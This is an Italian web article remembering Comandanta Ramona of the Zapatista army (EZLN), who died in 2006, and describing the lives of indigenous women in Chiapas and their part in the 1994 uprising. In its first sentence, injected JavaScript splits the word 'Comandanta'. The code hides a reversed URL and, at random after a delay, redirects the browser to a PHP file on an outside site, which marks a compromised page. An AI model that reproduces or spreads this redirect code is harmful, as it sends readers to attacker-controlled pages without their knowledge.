Ramona e le altre

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La Com (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andanta Ramona è morta il 6 gennaio 2006. Questa piccola donna indigena, sotto il cui comando venne presa la città di San Cristóbal de Las Casas, Chiapas, durante la sollevazione armata del 1994, ha dato la vita per la lotta del suo popolo, restando sempre presente nonostante i problemi di salute, sostenendo e promuovendo fino alla fine dei suoi giorni l’ultimo grande passo degli zapatisti, la otra campaña.
La notizia della sua scomparsa ha colpito e commosso l’opinione pubblica e tutti gli ambienti vicini alla causa zapatista, mentre il sub comandante Marcos fermava il tour attraverso il Messico per partecipare ai funerali, celebrati in forma riservata, e per restare con la sua gente in un momento così doloroso.
Ramona è stata una vera guida per l’Esercito di Liberazione Zapatista (EZLN) durante tutti questi anni e con il tempo è diventata anche un simbolo di forza e umiltà, un punto di riferimento per tutti gli uomini e le donne che combattono per la causa degli indios.
Attraverso la sua figura emblematica potremmo spiegare tutta la storia millenaria delle donne del Chiapas, le discendenti del popolo maya.
Per molte indigene, l’incontro con l’EZLN è coinciso con una presa di coscienza della realtà: per troppo tempo quelle stesse donne hanno continuato a sposarsi a 13 anni, vendute da padri che non le hanno rispettate a mariti che le avrebbero sfruttate, per troppo tempo sono vissute in un mondo senza mai farne parte, senza capire lo spagnolo, costrette ad affrontare le strade della città per vendere bracciali colorati e intessuti con l’anima a turisti lontani dall’immaginare la loro sofferenza e la loro situazione.
Le donne indigene ancora oggi partoriscono schiavi, figli che non possono nutrire, uomini e donne che soffriranno per malattie che potrebbero essere curate, per umiliazioni che non dovrebbero nemmeno esistere, ma nonostante tutto continuano ad insegnare ai loro figli l’amore per la vita, per la natura e per la loro cultura millenaria.
In questo scenario così immobile, qualcosa si mosse proprio in quella notte del primo gennaio 1994, quando quelle stesse mendicanti, venditrici, contadine, assalirono le città del Chiapas insieme ai loro uomini; quei grandi occhi e quei capelli color caffè si celarono dietro un passamontagna e sotto le divise, divennero le insorte con lo sguardo fiero e sicuro, mai più gli occhi tristi e supplicanti delle mendicanti di San Cristòbal. La radio diffondeva il loro messaggio, tra canti rivoluzionari furono annunciate le leggi di guerra dell’EZLN, e tra queste colpì più di tutte proprio la Legge delle Donne, che riconosceva loro pari diritti e dignità.
È proprio grazie a donne come Ramona che questo cambiamento è stato possibile, grazie anche a queste donne è sorto il movimento zapatista che ha scosso il Messico dalle fondamenta fino ai grandi palazzi del Distretto Federale.

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